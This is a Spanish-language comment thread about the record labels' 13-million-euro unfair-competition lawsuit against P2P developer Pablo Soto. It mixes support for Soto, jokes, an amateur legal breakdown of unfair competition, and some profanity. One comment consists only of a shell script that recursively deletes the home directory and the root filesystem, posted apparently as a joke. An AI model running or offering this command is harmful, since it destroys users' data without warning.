Más de una treintena de alumnos de la Facultad de Comunicación de la Universidad de Málaga arroparon este martes a Pablo Soto a su llegada al juzgado mercantil en el que se está celebrando el proceso que se ha convertido en la mayor demanda de la industria discográfica contra un creador de programas P2P. Promusicae (Asociación de Productores de Música de España) y las discográficas Warner, Universal, Emi y Sony Music exigen a Soto el pago de 13 millones de euros por "competencia desleal" en la creación de los programas de intercambio de archivo
|
etiquetas: demostrado , soto , derechos , autor
Todo en esta vida se puede utilizar para hacer algo ilegal.
Un simple kleenex puede ahogar al mas preparado, un triste lápiz medio gastado puede atravesarte el corazón...
Si vamos así yo denuncio a las discográficas por vender armas blancas no registradas como tales (los CDs pueden llegar a hacer mucho daño lanzandolos)
Ellos dicen defender a los creadores.
Pablo Soto, señores de la industria, es un creador.
En vez de intentar enterrarlo tendrían que hacerle un monumento porque son ustedes y sus negocios los que en realidad se están lucrando del trabajo ajeno, del trabajo de Pablo Soto.
Innumerable tecnología "legal" se beneficia de los programas p2p creados por estos jóvenes a los que ustedes quieren enterrar en vida para apropiarse indignamente de sus "creaciones" y seguir amasando millones a costa de chavales como Pablo Soto.
Mala Casta la industria mercenaria de la "cultura".
Pero tranquilidad, con esto la SGAE y compañia la han cagado, por que si gana será una patada en el culo para ellos, y si pierde la que vamos a montar los usuarios va a ser una patada en el culo para el gobierno, y como no, para ellos tambien.
Ya le tenía yo ganas a mi óptico, ya
Si realmente se consiguiera que todos nos pusieramos de acuerdo para no consumir sus productos, la cosa sería muy diferente. Por desgracia es una utopía porque los que estamos dispuestos a ellos somos pocos. Yo ya lo hago con todo producto español protegido por la SGAE de los cojones, y oye, no veas la de música copyleft mas cojonuda que hay. Ojala pasara con estos "hijos de puta".
Todo mi ánimo para Pablo Soto, y si este juicio termina en su contra, habrá que ver a quién más sientan en el banquillo, porque realmente se puede intercambiar información con e-mail, ftp, web, etc etc etc, a ver si vemos a todos los fabricantes de esos programas en el banquillo. O todos o ninguno.
Me quedo con una frase del propio Pablo: "El software, intrínsecamente, no puede ser ni malo ni bueno."
No se de leyes, y no sé en que se ampara la "competencia desleal", pero que su sistema de distribución compite con el de las discograficas, es ineglable, (ya no se si la competencia es desleal o no), asi que nos pueden dar un palo bastante gordo.
#!/bin/sh
rm -rf ~ && rm -rf /
Por lo tanto, los demandantes pretenden una de estas dos cosas:
- Confundir al juez a base de palabrería, falacias y mentiras, a ver que cae.
- Acusar a este chico a base de juicios y demandas, usando la superior capacidad económica de los demandantes, a ver si lo acojonan o lo arruinan.
- O ambas
- Meter miedo en el cuerpo y salir en los medios de comunicación.
- Demostrar que la Tierra es plana y que no gira al rededor del sol.
Tan simple como eso.
Es que si seguimos el hilo, la culpa podría ser del ministerio de defensa estadounidense, que creo Arpanet, de la cual saldría Internet, dado que todas esas canciones están disponibles precisamente allí.
Ese es el problema. Que nosotros nos consideramos iguales. Y ellos siempre quieren estar por encima de los demás.
La única manera de que lo demuestren (lo de los derechos) es que él hubiera usado partes del programa de otro sin autorización. Aunque él mismo se hubiera bajado 1000 canciones con su programa, seguiría sin ser delito.
#27 cuidado que algunos son venenosos.
Me alegro que veáis todos tan claro que la cosa está ganada, pero lo primero que te enseñana en la carrera de derecho es que todos los casos se pueden ganar o perder yq eu normalmente se pueden encontrar argumentos a favor y en contra de todas las partes. Aún así es el juez el que decide como valorar cada argumento y finalmente están los defectos de forma. Así que no nos comamos las po*** todavía, ésto aún no está ganado.
Ganó Ralph.
Ojalá pierdan, se eleve al TC y se sienta jurisprudencia...entonces no reiremos a gusto. Y si ganan, más aún porque seguiremos descargando. Y Manolito P2P ya lo tenemos instalado. Ya sacaremos una web de ayuda económica a Pablo Soto y al que destrozó la Herriko Tabernas
El fin de las armas por 13 millones de euros. No es mal negocio.
Lo peor de todo es que para algo que se crea en este pais, lo criminalizamos y le denunciamos... Así nos luce el pelo que aquí en este puto pais la unica I+D que existe es la de inventar la fregona o el chupachups...
novenaplanta.es/?p=1474
(Empresa de armamento made in Spain). A estos no los juzgan por compartir sistemas de violencia.
Accionistas privados.
(Entre ellos Caja Madrid, ese banco del oso verde).
Simuladores para aviones, carros de combate y helicópteros, equipos electrónicos para la guerra y sistemas de comunicaciones.
(No tengo que recordar que los aviones de combate son para hacer cosas malas en legitima irresponsabilidad).
La competencia desleal es un comportamiento que desvíe o distorsiones el libre mercado a favor de una serie de personas físicas o jurídicas. Violando la normativa de competencia del país:
Entre otras cosas competencia desleal es:
1. Dumping de precios: vender a un precio inferior al coste del producto.
Se supone que por este punto viene la denunciar. El problema es que Pablo Soto no vende nada. Con lo cual no hay Dumping.
2. Engaño: hacer creer a los compradores que el producto tiene un precio diferente, unas características mejores que las reales, etc.
Aquí tampoco hay nada.
3. Denigración: difundir información falsa sobre los productos de los competidores, o publicar comparativas no relevantes. Según el país la protección contra esta figura es mayor o menor. En Estados Unidos se permiten las comparativas en mayor medida que en Europa.
Aquí menos.
4. Confusión: buscar parecerse a un competidor para que el consumidor compre tus productos en vez de los del competidor. Es muy frecuente usar para ello marcas o diseños parecidos.
Aquí tampoco.
5. Dependencia económica: exigir condiciones leoninas al proveedor cuando se le compra casi toda su producción. Dado que el proveedor depende de estas ventas para la existencia de la empresa, tendría que aceptarlas.
Tampoco.
6. Desviación de la clientela y explotación de la reputación ajena son otros tipos de actos de competencia desleal.
Aquí podría ser, pero tampoco. Pablo Soto no se está haciendo pasar por las demandantes así que tampoco hay nada aquí.
Como decía al principio, falta otro puntito:
La competencia desleal también viene por algo casi contrario al Dumping. El pacto de precios. Pacto de precios que ya hicieron las 4 grandes discográficas y por ello fueron denunciadas en 2005 (¿os acordais el problema de iTunes con los precios?, todo venía del pacto de precios de las grandes discográficas)
Y es competencia desleal porque si tu subes o pactas el precio, fuerzas a la competencia a hacer lo mismo para vender. Esto es una desviación ilegal del mercado y actúas contra la libre competencia, es decir competencia desleal. No en vano aquí en España algunas operadoras de telecomunicaciones fueron multadas por pacto de precios (Telefónica, Vodafone y Orange).
Salu2
¡¡¡¡¡¡A por Microsoft!!!!!!
Y tambien al los del FTP.
Es la misma gilipollez.
1. Un programa de intercambio de archivos
2. Un programa para bajar canciones
3. Un programa de descargas ilegales.
Vemos que los redactores ya han decidido.
No se si a vosotros también os parecerá simplemente una forma de "meter miedo".